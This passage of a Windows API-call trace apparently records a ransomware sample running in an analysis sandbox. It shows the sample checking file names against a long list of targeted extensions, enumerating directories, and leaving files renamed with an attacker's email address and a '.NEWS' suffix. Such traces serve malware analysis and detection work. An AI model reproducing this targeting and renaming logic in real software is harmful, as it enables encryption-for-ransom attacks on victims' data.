lpString2="NEWS") returned -1 [0191.169] lstrlenW (lpString=".eps") returned 4 [0191.169] lstrcmpiW (lpString1=".eps", lpString2="NEWS") returned -1 [0191.169] lstrlenW (lpString=".epsf") returned 5 [0191.169] lstrcmpiW (lpString1=".epsf", lpString2=".NEWS") returned -1 [0191.169] lstrlenW (lpString=".epsp") returned 5 [0191.169] lstrcmpiW (lpString1=".epsp", lpString2=".NEWS") returned -1 [0191.169] lstrlenW (lpString=".erf") returned 4 [0191.169] lstrcmpiW (lpString1=".erf", lpString2="NEWS") returned -1 [0191.169] lstrlenW (lpString=".exr") returned 4 [0191.169] lstrcmpiW (lpString1=".exr", lpString2="NEWS") returned -1 [0191.169] lstrlenW (lpString=".f4v") returned 4 [0191.169] lstrcmpiW (lpString1=".f4v", lpString2="NEWS") returned -1 [0191.169] lstrlenW (lpString=".fido") returned 5 [0191.169] lstrcmpiW (lpString1=".fido", lpString2=".NEWS") returned -1 [0191.169] lstrlenW (lpString=".flm") returned 4 [0191.169] lstrcmpiW (lpString1=".flm", lpString2="NEWS") returned -1 [0191.169] lstrlenW (lpString=".flv") returned 4 [0191.169] lstrcmpiW (lpString1=".flv", lpString2="NEWS") returned -1 [0191.169] lstrlenW (lpString=".frm") returned 4 [0191.169] lstrcmpiW (lpString1=".frm", lpString2="NEWS") returned -1 [0191.169] lstrlenW (lpString=".fxg") returned 4 [0191.169] lstrcmpiW (lpString1=".fxg", lpString2="NEWS") returned -1 [0191.169] lstrlenW (lpString=".geo") returned 4 [0191.169] lstrcmpiW (lpString1=".geo", lpString2="NEWS") returned -1 [0191.169] lstrlenW (lpString=".gif") returned 4 [0191.169] lstrcmpiW (lpString1=".gif", lpString2="NEWS") returned -1 [0191.169] lstrlenW (lpString=".grs") returned 4 [0191.170] lstrcmpiW (lpString1=".grs", lpString2="NEWS") returned -1 [0191.170] lstrlenW (lpString=".gz") returned 3 [0191.170] lstrcmpiW (lpString1=".gz", lpString2="EWS") returned -1 [0191.170] lstrlenW (lpString=".h") returned 2 [0191.170] lstrcmpiW (lpString1=".h", lpString2="WS") returned -1 [0191.170] lstrlenW (lpString=".hdr") returned 4 [0191.170] lstrcmpiW (lpString1=".hdr", lpString2="NEWS") returned -1 [0191.170] lstrlenW (lpString=".hpp") returned 4 [0191.170] lstrcmpiW (lpString1=".hpp", lpString2="NEWS") returned -1 [0191.170] lstrlenW (lpString=".hta") returned 4 [0191.170] lstrcmpiW (lpString1=".hta", lpString2="NEWS") returned -1 [0191.170] lstrlenW (lpString=".htc") returned 4 [0191.170] lstrcmpiW (lpString1=".htc", lpString2="NEWS") returned -1 [0191.170] lstrlenW (lpString=".htm") returned 4 [0191.170] lstrcmpiW (lpString1=".htm", lpString2="NEWS") returned -1 [0191.170] lstrlenW (lpString=".html") returned 5 [0191.170] lstrcmpiW (lpString1=".html", lpString2=".NEWS") returned -1 [0191.170] lstrlenW (lpString=".icb") returned 4 [0191.170] lstrcmpiW (lpString1=".icb", lpString2="NEWS") returned -1 [0191.170] lstrlenW (lpString=".ics") returned 4 [0191.170] lstrcmpiW (lpString1=".ics", lpString2="NEWS") returned -1 [0191.170] lstrlenW (lpString=".iff") returned 4 [0191.170] lstrcmpiW (lpString1=".iff", lpString2="NEWS") returned -1 [0191.170] lstrlenW (lpString=".inc") returned 4 [0191.170] lstrcmpiW (lpString1=".inc", lpString2="NEWS") returned -1 [0191.170] lstrlenW (lpString=".indd") returned 5 [0191.170] lstrcmpiW (lpString1=".indd", lpString2=".NEWS") returned -1 [0191.170] lstrlenW (lpString=".ini") returned 4 [0191.170] lstrcmpiW (lpString1=".ini", lpString2="NEWS") returned -1 [0191.170] lstrlenW (lpString=".iqy") returned 4 [0191.171] lstrcmpiW (lpString1=".iqy", lpString2="NEWS") returned -1 [0191.171] lstrlenW (lpString=".j2c") returned 4 [0191.171] lstrcmpiW (lpString1=".j2c", lpString2="NEWS") returned -1 [0191.171] lstrlenW (lpString=".j2k") returned 4 [0191.171] lstrcmpiW (lpString1=".j2k", lpString2="NEWS") returned -1 [0191.171] lstrlenW (lpString=".java") returned 5 [0191.171] lstrcmpiW (lpString1=".java", lpString2=".NEWS") returned -1 [0191.171] lstrlenW (lpString=".jp2") returned 4 [0191.171] lstrcmpiW (lpString1=".jp2", lpString2="NEWS") returned -1 [0191.171] lstrlenW (lpString=".jpc") returned 4 [0191.171] lstrcmpiW (lpString1=".jpc", lpString2="NEWS") returned -1 [0191.171] lstrlenW (lpString=".jpe") returned 4 [0191.171] lstrcmpiW (lpString1=".jpe", lpString2="NEWS") returned -1 [0191.171] lstrlenW (lpString=".jpeg") returned 5 [0191.171] lstrcmpiW (lpString1=".jpeg", lpString2=".NEWS") returned -1 [0191.171] lstrlenW (lpString=".jpf") returned 4 [0191.171] lstrcmpiW (lpString1=".jpf", lpString2="NEWS") returned -1 [0191.171] lstrlenW (lpString=".jpg") returned 4 [0191.171] lstrcmpiW (lpString1=".jpg", lpString2="NEWS") returned -1 [0191.171] lstrlenW (lpString=".jpx") returned 4 [0191.171] lstrcmpiW (lpString1=".jpx", lpString2="NEWS") returned -1 [0191.171] lstrlenW (lpString=".js") returned 3 [0191.171] lstrcmpiW (lpString1=".js", lpString2="EWS") returned -1 [0191.171] lstrlenW (lpString=".jsf") returned 4 [0191.171] lstrcmpiW (lpString1=".jsf", lpString2="NEWS") returned -1 [0191.171] lstrlenW (lpString=".json") returned 5 [0191.171] lstrcmpiW (lpString1=".json", lpString2=".NEWS") returned -1 [0191.171] lstrlenW (lpString=".jsp") returned 4 [0191.172] lstrcmpiW (lpString1=".jsp", lpString2="NEWS") returned -1 [0191.172] lstrlenW (lpString=".kdc") returned 4 [0191.172] lstrcmpiW (lpString1=".kdc", lpString2="NEWS") returned -1 [0191.172] lstrlenW (lpString=".kmz") returned 4 [0191.172] lstrcmpiW (lpString1=".kmz", lpString2="NEWS") returned -1 [0191.172] lstrlenW (lpString=".kwm") returned 4 [0191.172] lstrcmpiW (lpString1=".kwm", lpString2="NEWS") returned -1 [0191.172] lstrlenW (lpString=".lasso") returned 6 [0191.172] lstrcmpiW (lpString1=".lasso", lpString2="].NEWS") returned -1 [0191.172] lstrlenW (lpString=".lbi") returned 4 [0191.172] lstrcmpiW (lpString1=".lbi", lpString2="NEWS") returned -1 [0191.172] lstrlenW (lpString=".lgf") returned 4 [0191.172] lstrcmpiW (lpString1=".lgf", lpString2="NEWS") returned -1 [0191.172] lstrlenW (lpString=".lgp") returned 4 [0191.172] lstrcmpiW (lpString1=".lgp", lpString2="NEWS") returned -1 [0191.172] lstrlenW (lpString=".log") returned 4 [0191.172] lstrcmpiW (lpString1=".log", lpString2="NEWS") returned -1 [0191.172] lstrlenW (lpString=".m1v") returned 4 [0191.172] lstrcmpiW (lpString1=".m1v", lpString2="NEWS") returned -1 [0191.172] lstrlenW (lpString=".m4a") returned 4 [0191.172] lstrcmpiW (lpString1=".m4a", lpString2="NEWS") returned -1 [0191.172] lstrlenW (lpString=".m4v") returned 4 [0191.172] lstrcmpiW (lpString1=".m4v", lpString2="NEWS") returned -1 [0191.172] lstrlenW (lpString=".max") returned 4 [0191.172] lstrcmpiW (lpString1=".max", lpString2="NEWS") returned -1 [0191.172] lstrlenW (lpString=".md") returned 3 [0191.172] lstrcmpiW (lpString1=".md", lpString2="EWS") returned -1 [0191.172] lstrlenW (lpString=".mda") returned 4 [0191.173] lstrcmpiW (lpString1=".mda", lpString2="NEWS") returned -1 [0191.173] lstrlenW (lpString=".mdb") returned 4 [0191.173] lstrcmpiW (lpString1=".mdb", lpString2="NEWS") returned -1 [0191.173] lstrlenW (lpString=".mde") returned 4 [0191.173] lstrcmpiW (lpString1=".mde", lpString2="NEWS") returned -1 [0191.173] lstrlenW (lpString=".mdf") returned 4 [0191.173] lstrcmpiW (lpString1=".mdf", lpString2="NEWS") returned -1 [0191.173] lstrlenW (lpString=".mdw") returned 4 [0191.173] lstrcmpiW (lpString1=".mdw", lpString2="NEWS") returned -1 [0191.173] lstrlenW (lpString=".mef") returned 4 [0191.173] lstrcmpiW (lpString1=".mef", lpString2="NEWS") returned -1 [0191.173] lstrlenW (lpString=".mft") returned 4 [0191.173] lstrcmpiW (lpString1=".mft", lpString2="NEWS") returned -1 [0191.173] lstrlenW (lpString=".mfw") returned 4 [0191.173] lstrcmpiW (lpString1=".mfw", lpString2="NEWS") returned -1 [0191.173] lstrlenW (lpString=".mht") returned 4 [0191.173] lstrcmpiW (lpString1=".mht", lpString2="NEWS") returned -1 [0191.173] lstrlenW (lpString=".mhtml") returned 6 [0191.173] lstrcmpiW (lpString1=".mhtml", lpString2="].NEWS") returned -1 [0191.173] lstrlenW (lpString=".mka") returned 4 [0191.173] lstrcmpiW (lpString1=".mka", lpString2="NEWS") returned -1 [0191.173] lstrlenW (lpString=".mkidx") returned 6 [0191.173] lstrcmpiW (lpString1=".mkidx", lpString2="].NEWS") returned -1 [0191.173] lstrlenW (lpString=".mkv") returned 4 [0191.173] lstrcmpiW (lpString1=".mkv", lpString2="NEWS") returned -1 [0191.173] lstrlenW (lpString=".mos") returned 4 [0191.173] lstrcmpiW (lpString1=".mos", lpString2="NEWS") returned -1 [0191.173] lstrlenW (lpString=".mov") returned 4 [0191.173] lstrcmpiW (lpString1=".mov", lpString2="NEWS") returned -1 [0191.173] lstrlenW (lpString=".mp3") returned 4 [0191.174] lstrcmpiW (lpString1=".mp3", lpString2="NEWS") returned -1 [0191.174] lstrlenW (lpString=".mp4") returned 4 [0191.174] lstrcmpiW (lpString1=".mp4", lpString2="NEWS") returned -1 [0191.174] lstrlenW (lpString=".mpeg") returned 5 [0191.174] lstrcmpiW (lpString1=".mpeg", lpString2=".NEWS") returned -1 [0191.174] lstrlenW (lpString=".mpg") returned 4 [0191.174] lstrcmpiW (lpString1=".mpg", lpString2="NEWS") returned -1 [0191.174] lstrlenW (lpString=".mpv") returned 4 [0191.174] lstrcmpiW (lpString1=".mpv", lpString2="NEWS") returned -1 [0191.174] lstrlenW (lpString=".mrw") returned 4 [0191.174] lstrcmpiW (lpString1=".mrw", lpString2="NEWS") returned -1 [0191.174] lstrlenW (lpString=".msg") returned 4 [0191.174] lstrcmpiW (lpString1=".msg", lpString2="NEWS") returned -1 [0191.174] lstrlenW (lpString=".mxl") returned 4 [0191.174] lstrcmpiW (lpString1=".mxl", lpString2="NEWS") returned -1 [0191.174] lstrlenW (lpString=".myd") returned 4 [0191.174] lstrcmpiW (lpString1=".myd", lpString2="NEWS") returned -1 [0191.174] lstrlenW (lpString=".myi") returned 4 [0191.174] lstrcmpiW (lpString1=".myi", lpString2="NEWS") returned -1 [0191.174] lstrlenW (lpString=".nef") returned 4 [0191.174] lstrcmpiW (lpString1=".nef", lpString2="NEWS") returned -1 [0191.174] lstrlenW (lpString=".nrw") returned 4 [0191.174] lstrcmpiW (lpString1=".nrw", lpString2="NEWS") returned -1 [0191.175] lstrlenW (lpString=".obj") returned 4 [0191.175] lstrcmpiW (lpString1=".obj", lpString2="NEWS") returned -1 [0191.175] lstrlenW (lpString=".odb") returned 4 [0191.175] lstrcmpiW (lpString1=".odb", lpString2="NEWS") returned -1 [0191.175] lstrlenW (lpString=".odc") returned 4 [0191.175] lstrcmpiW (lpString1=".odc", lpString2="NEWS") returned -1 [0191.175] lstrlenW (lpString=".odm") returned 4 [0191.175] lstrcmpiW (lpString1=".odm", lpString2="NEWS") returned -1 [0191.175] lstrlenW (lpString=".odp") returned 4 [0191.175] lstrcmpiW (lpString1=".odp", lpString2="NEWS") returned -1 [0191.175] lstrlenW (lpString=".ods") returned 4 [0191.175] lstrcmpiW (lpString1=".ods", lpString2="NEWS") returned -1 [0191.175] lstrlenW (lpString=".oft") returned 4 [0191.175] lstrcmpiW (lpString1=".oft", lpString2="NEWS") returned -1 [0191.175] lstrlenW (lpString=".one") returned 4 [0191.175] lstrcmpiW (lpString1=".one", lpString2="NEWS") returned -1 [0191.175] lstrlenW (lpString=".onepkg") returned 7 [0191.175] lstrcmpiW (lpString1=".onepkg", lpString2="m].NEWS") returned -1 [0191.175] lstrlenW (lpString=".onetoc2") returned 8 [0191.175] lstrcmpiW (lpString1=".onetoc2", lpString2="om].NEWS") returned -1 [0191.175] lstrlenW (lpString=".opt") returned 4 [0191.176] lstrcmpiW (lpString1=".opt", lpString2="NEWS") returned -1 [0191.176] lstrlenW (lpString=".oqy") returned 4 [0191.176] lstrcmpiW (lpString1=".oqy", lpString2="NEWS") returned -1 [0191.176] lstrlenW (lpString=".orf") returned 4 [0191.176] lstrcmpiW (lpString1=".orf", lpString2="NEWS") returned -1 [0191.176] lstrlenW (lpString=".p12") returned 4 [0191.176] lstrcmpiW (lpString1=".p12", lpString2="NEWS") returned -1 [0191.176] lstrlenW (lpString=".p7b") returned 4 [0191.176] lstrcmpiW (lpString1=".p7b", lpString2="NEWS") returned -1 [0191.176] lstrlenW (lpString=".p7c") returned 4 [0191.176] lstrcmpiW (lpString1=".p7c", lpString2="NEWS") returned -1 [0191.176] lstrlenW (lpString=".pam") returned 4 [0191.176] lstrcmpiW (lpString1=".pam", lpString2="NEWS") returned -1 [0191.176] lstrlenW (lpString=".pbm") returned 4 [0191.176] lstrcmpiW (lpString1=".pbm", lpString2="NEWS") returned -1 [0191.176] lstrlenW (lpString=".pct") returned 4 [0191.176] lstrcmpiW (lpString1=".pct", lpString2="NEWS") returned -1 [0191.176] lstrlenW (lpString=".pcx") returned 4 [0191.176] lstrcmpiW (lpString1=".pcx", lpString2="NEWS") returned -1 [0191.176] lstrlenW (lpString=".pdd") returned 4 [0191.176] lstrcmpiW (lpString1=".pdd", lpString2="NEWS") returned -1 [0191.176] lstrlenW (lpString=".pdf") returned 4 [0191.176] lstrcmpiW (lpString1=".pdf", lpString2="NEWS") returned -1 [0191.176] lstrlenW (lpString=".pdp") returned 4 [0191.176] lstrcmpiW (lpString1=".pdp", lpString2="NEWS") returned -1 [0191.176] lstrlenW (lpString=".pef") returned 4 [0191.176] lstrcmpiW (lpString1=".pef", lpString2="NEWS") returned -1 [0191.176] lstrlenW (lpString=".pem") returned 4 [0191.176] lstrcmpiW (lpString1=".pem", lpString2="NEWS") returned -1 [0191.176] lstrlenW (lpString=".pff") returned 4 [0191.177] lstrcmpiW (lpString1=".pff", lpString2="NEWS") returned -1 [0191.177] lstrlenW (lpString=".pfm") returned 4 [0191.177] lstrcmpiW (lpString1=".pfm", lpString2="NEWS") returned -1 [0191.177] lstrlenW (lpString=".pfx") returned 4 [0191.177] lstrcmpiW (lpString1=".pfx", lpString2="NEWS") returned -1 [0191.177] lstrlenW (lpString=".pgm") returned 4 [0191.177] lstrcmpiW (lpString1=".pgm", lpString2="NEWS") returned -1 [0191.177] lstrlenW (lpString=".php") returned 4 [0191.177] lstrcmpiW (lpString1=".php", lpString2="NEWS") returned -1 [0191.177] lstrlenW (lpString=".php3") returned 5 [0191.177] lstrcmpiW (lpString1=".php3", lpString2=".NEWS") returned 1 [0191.177] lstrlenW (lpString=".php4") returned 5 [0191.177] lstrcmpiW (lpString1=".php4", lpString2=".NEWS") returned 1 [0191.177] lstrlenW (lpString=".php5") returned 5 [0191.177] lstrcmpiW (lpString1=".php5", lpString2=".NEWS") returned 1 [0191.177] lstrlenW (lpString=".phtml") returned 6 [0191.177] lstrcmpiW (lpString1=".phtml", lpString2="].NEWS") returned -1 [0191.177] lstrlenW (lpString=".pict") returned 5 [0191.177] lstrcmpiW (lpString1=".pict", lpString2=".NEWS") returned 1 [0191.177] lstrlenW (lpString=".pl") returned 3 [0191.177] lstrcmpiW (lpString1=".pl", lpString2="EWS") returned -1 [0191.177] lstrlenW (lpString=".pls") returned 4 [0191.177] lstrcmpiW (lpString1=".pls", lpString2="NEWS") returned -1 [0191.177] lstrlenW (lpString=".pm") returned 3 [0191.177] lstrcmpiW (lpString1=".pm", lpString2="EWS") returned -1 [0191.177] lstrlenW (lpString=".png") returned 4 [0191.177] lstrcmpiW (lpString1=".png", lpString2="NEWS") returned -1 [0191.177] lstrlenW (lpString=".pnm") returned 4 [0191.177] lstrcmpiW (lpString1=".pnm", lpString2="NEWS") returned -1 [0191.177] lstrlenW (lpString=".pot") returned 4 [0191.178] lstrcmpiW (lpString1=".pot", lpString2="NEWS") returned -1 [0191.178] lstrlenW (lpString=".potm") returned 5 [0191.178] lstrcmpiW (lpString1=".potm", lpString2=".NEWS") returned 1 [0191.178] lstrlenW (lpString=".potx") returned 5 [0191.178] lstrcmpiW (lpString1=".potx", lpString2=".NEWS") returned 1 [0191.178] lstrlenW (lpString=".ppa") returned 4 [0191.178] lstrcmpiW (lpString1=".ppa", lpString2="NEWS") returned -1 [0191.178] lstrlenW (lpString=".ppam") returned 5 [0191.178] lstrcmpiW (lpString1=".ppam", lpString2=".NEWS") returned 1 [0191.178] lstrlenW (lpString=".ppm") returned 4 [0191.178] lstrcmpiW (lpString1=".ppm", lpString2="NEWS") returned -1 [0191.178] lstrlenW (lpString=".pps") returned 4 [0191.178] lstrcmpiW (lpString1=".pps", lpString2="NEWS") returned -1 [0191.178] lstrlenW (lpString=".ppsm") returned 5 [0191.178] lstrcmpiW (lpString1=".ppsm", lpString2=".NEWS") returned 1 [0191.178] lstrlenW (lpString=".ppt") returned 4 [0191.178] lstrcmpiW (lpString1=".ppt", lpString2="NEWS") returned -1 [0191.178] lstrlenW (lpString=".pptm") returned 5 [0191.178] lstrcmpiW (lpString1=".pptm", lpString2=".NEWS") returned 1 [0191.178] lstrlenW (lpString=".pptx") returned 5 [0191.178] lstrcmpiW (lpString1=".pptx", lpString2=".NEWS") returned 1 [0191.178] lstrlenW (lpString=".prn") returned 4 [0191.178] lstrcmpiW (lpString1=".prn", lpString2="NEWS") returned -1 [0191.178] lstrlenW (lpString=".ps") returned 3 [0191.178] lstrcmpiW (lpString1=".ps", lpString2="EWS") returned -1 [0191.178] lstrlenW (lpString=".psb") returned 4 [0191.178] lstrcmpiW (lpString1=".psb", lpString2="NEWS") returned -1 [0191.178] lstrlenW (lpString=".psd") returned 4 [0191.178] lstrcmpiW (lpString1=".psd", lpString2="NEWS") returned -1 [0191.179] lstrlenW (lpString=".pst") returned 4 [0191.179] lstrcmpiW (lpString1=".pst", lpString2="NEWS") returned -1 [0191.179] lstrlenW (lpString=".ptx") returned 4 [0191.179] lstrcmpiW (lpString1=".ptx", lpString2="NEWS") returned -1 [0191.179] lstrlenW (lpString=".pub") returned 4 [0191.179] lstrcmpiW (lpString1=".pub", lpString2="NEWS") returned -1 [0191.179] lstrlenW (lpString=".pwm") returned 4 [0191.179] lstrcmpiW (lpString1=".pwm", lpString2="NEWS") returned -1 [0191.180] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0191.180] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0191.182] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0191.182] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0191.183] FindClose (in: hFindFile=0x67a478 | out: hFindFile=0x67a478) returned 1 [0191.183] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e60050 | out: hHeap=0x660000) returned 1 [0191.183] FindNextFileW (in: hFindFile=0x67aa38, lpFindFileData=0x39ffcf8 | out: lpFindFileData=0x39ffcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77110000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0191.183] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0191.183] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x68968dfd, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x68968dfd, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0191.183] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0191.183] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x68968dfd, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x68968dfd, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0191.183] FindClose (in: hFindFile=0x67a6b8 | out: hFindFile=0x67a6b8) returned 1 [0191.183] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e60050 | out: hHeap=0x660000) returned 1 [0191.184] FindNextFileW (in: hFindFile=0x67aa38, lpFindFileData=0x39ffcf8 | out: lpFindFileData=0x39ffcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77110000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0191.186] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0191.186] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x37df2ab7, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37df2ab7, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1 [0191.188] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0191.188] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1 [0191.190] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0191.395] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38bf426c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38bf426c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1 [0191.395] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3e70058 [0191.395] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38bf426c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38bf426c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x67a7b8 [0191.396] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38bf426c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38bf426c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.396] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38ba7bd3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38ba7bd3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38bcdefc, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xde4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0191.396] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38bf426c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38bf426c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38bf426c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x130b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0191.397] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38cff763, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38cff763, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38cff763, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0191.397] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38cff763, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38cff763, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38cff763, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, 